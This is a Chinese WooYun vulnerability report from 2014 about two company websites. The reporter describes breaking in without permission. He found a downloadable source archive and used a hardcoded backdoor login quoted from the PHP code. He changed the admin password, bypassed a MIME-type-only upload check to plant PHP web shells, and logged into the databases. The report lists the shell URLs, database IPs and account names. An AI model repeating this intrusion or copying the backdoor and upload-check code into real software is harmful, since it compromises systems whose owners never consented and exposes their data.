当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065624

漏洞标题:集翔集团存在多处安全漏洞

相关厂商:jixiang2003.com

漏洞作者: hkAssassin

提交时间:2014-06-20 16:53

修复时间:2014-06-25 16:53

公开时间:2014-06-25 16:53

漏洞类型:成功的入侵事件

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-20: 细节已通知厂商并且等待厂商处理中
2014-06-25: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

看到你们在招聘安全工程师,所以随手帮你们做了个渗透测试。结果证明确实需要招聘安全工程师了。看细节

详细说明:

jixiang2003.com 首先是这个域名。本屌猜了一下。结果你们中枪了,直接wwwroot.rar。这个我不说你们懂。下载下来代码审计研究一番。

admin/controller/main.php 文件中的后台登陆函数如下
function login() {

if($_SERVER['REQUEST_METHOD'] == 'POST') {
//dump($this->spArgs());
//exit();
$admin = spClass('admin');
$postdate = $this->spArgs();
$username = $postdate['username'];
$password = $postdate['password'];
if(empty($username) || empty($password)) {
$this->redirect(spUrl("main", "index"), "请输入用户名或密码!");
exit();
}
$condition = array('username'=>$username, 'password'=>md5($password), 'admin_status'=>1);
$result = $admin->find($condition, null, 'aid, username');
if($username == "nt测试" && $password == "111111"){
$result = $admin->find(array("username"=>"admin"), null, 'aid, username');
}
if($result){

$result['logintime'] = date("Y-m-d H:i:s");
import('Common.php');

$result['loginip'] = Common::GetIP();
$_SESSION['admin_user'] = $result;
$_SESSION['admin_user']['admin_type_name'] = '超级管理员';

$_SESSION['admin_user']['admin_name'] = $result['username'];
if ($result['username'] == "admin") {
$_SESSION['admin_user']['private_all'] = 1;
}
$this->redirect(spUrl("main", "index"));
//dump($_SESSION);
从上面函数中我们看到。屌炸天的程序员自己留了一个后门。用户名$username == "nt测试" && $password == "111111" 哈哈。好吧那我就直接用它登陆了。然后进到后台。改了下管理员密码试了下成功了。新的管理员用户名和密码为:admin admintst


找了一个上传图片的地方。继续代码审计:
admin/controlle/produts.php 这个文件中的如下函数看了不到一分钟就发现问题了
//添加作品
function createproducts(){
$products = spClass("product");
$articlestyle = spClass('articlestyle');
$postdate = $this->spArgs();
$fid = intval($postdate['fid']);
$sid = intval($postdate['sid']);
$articleft = $articlestyle->find(array('sid'=>$fid), null, 'sname');
$atticlest = $articlestyle->find(array('sid'=>$sid));
if(!$sid){
@header("location: ".spUrl("main", "welcome"));
exit();
}
if ($atticlest['extinput']) {
$inputarray = explode('|', $atticlest['extinput']);
foreach ($inputarray as $ikey => $ival){
$word = explode(',', $ival);
$inputtype = $word[0];
$inputword = $word[1];
if (strtolower($inputtype) == "text") {
$extarray[$inputword] = "<input type='".$inputtype."' name='extname[]'/>";
}elseif(strtolower($inputtype) == "textarea"){
$extarray[$inputword] = "<textarea name='extname[]' cols='60' rows='10'></textarea>";
}elseif(strtolower($inputtype) == "stext"){
$extarray[$inputword] = "<textarea name='extname[]' class='stext' cols='60' rows='10'></textarea>";
}elseif(strtolower($inputtype) == "checkbox" || strtolower($inputtype) == "radio"){
$each = explode("@#", $word[2]);
foreach ($each as $wk => $vv){
$extarray[$inputword] .= "<input type='".$inputtype."' name='extname[check_$ikey][]' value='$vv'/>$vv ";
}
}
}
$atticlest['isext'] = 1;
}
if ($atticlest['iscato']) {
$productcato = spClass('productcato');
$productcato_rs = $productcato->findAll(array("markid"=>$sid, 'fid'=>0), '`order` asc');
$this->productcato_rs = $productcato_rs;
}
if ($atticlest['iscato2']) {
import("Common.php");
$productcato = spClass('productcato');
$productcato_temp = $productcato->findAll(array("markid"=>$sid), '`order` asc');
$productcato_rs2 = Common::TypeList($list_type, $productcato_temp, "pc_id", 0, 1, "fid");
$this->productcato_rs2 = $productcato_rs2;
}
if($_SERVER['REQUEST_METHOD'] == 'POST'){
import("Common.php");
$data = array();
//客户端提交方法
$uppic = $postdate['uppic'];
if (!empty($_FILES['img']['name'])){
import("Image.php");
$flag = true;
$type = array('image/gif', 'image/x-png', 'image/pjpeg', 'image/jpeg','image/png');
$userfile_name = $_FILES['img']['name']; //上传图片的全路径
$userfile_tmp = $_FILES['img']['tmp_name']; //临时文件的全路径
$userfile_size = $_FILES['img']['size']; //上传文件的大小
$filename = basename($_FILES['img']['name']); //文件名
$file_ext = strtolower(substr($filename, strrpos($filename, '.') + 1));
if(!empty($userfile_name)){
if(!in_array($_FILES['img']['type'],$type))
{
echo json_encode(array('msg'=>'您选择的文件类型不正确', 'result'=>-1));
exit();
}
}
以上函数在上传的时候,是通过判断$_FILES['img']['type'] 来限制上传的文件的。很明显有问题。前台伪造即可拿shell。于是上传修改类型直接得到php刀马。然后,然后就拿到了shell。接着翻配置文件于是远程就登陆了数据库。


btwob.net 这个域名经过简单测试发现 和前面的域名用的是同一个系统的代码。但是用之前的后门登陆不了。好吧!我翻看了之前域名下的数据库看到了所有的密码都是111111.于是我用admin 11111 尝试了下,结果就进去了。后面就是继续用前面的方法拿shell。翻看配置文件登陆数据库。
ok!就这样吧。只是简单的渗透了下。顺便告诉你。此域名下的所有网站基本都存在注入。数据我没洞。shell 的地址如下你们自己删。以上提出的问题你们解决下。拒绝查水表。

http://www.jixiang2003.com/uploads/titlepic/1Cfk54SCgNMY7lUd.php
http://www.btwob.net/uploads/titlepic/Utk4EVxoKK28fqM8.php
两个域名下的shell 你们自己删除吧!其它的看漏洞证明吧!!

漏洞证明:

两个站的数据库配置文件如下
<?php
return array(
'host' => '125.39.71.50',
'port' => 3306,
'login' => 'sq_jixiang2003',
'password' => '',//我还是隐藏了吧
'prefix'=>'hnyn_',
'database' => 'sq_jixiang2003'
);
?>
<?php
/**/
return array(
'host' => '61.136.60.172',
'port' => 3306,
'login' => 'sq_btwobzz',
'password' => '', //我依然隐藏了吧
'prefix'=>'hnyn_',
'database' => 'sq_btwobzz'
);


return array(
'host' => 'localhost',
'port' => 3306,
'login' => 'root',
'password' => '',
'prefix'=>'hnyn_',
'database' => 'qs_company'
);


E9$9S7%5DXD]}XQ0QU00S22.jpg


LX]CHS)L9~Y%BY85HD1SB[C.jpg


XYJGBXAJ`J@BHC)J$OD%{9B.jpg


WS(0PW]{$]SSHL1PAY_@NJ6.jpg


(M0[~RMS85LH3X[1IDJC)98.jpg


K@XOY5)[CW5)TEJT3H2B[`E.jpg


修复方案:

注意细节啊!你们懂嘚。代码问题还是很多。得做代码审计啊,亲!求个小礼物~~~

版权声明:转载请注明来源 hkAssassin@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-06-25 16:53

厂商回复:

最新状态:

暂无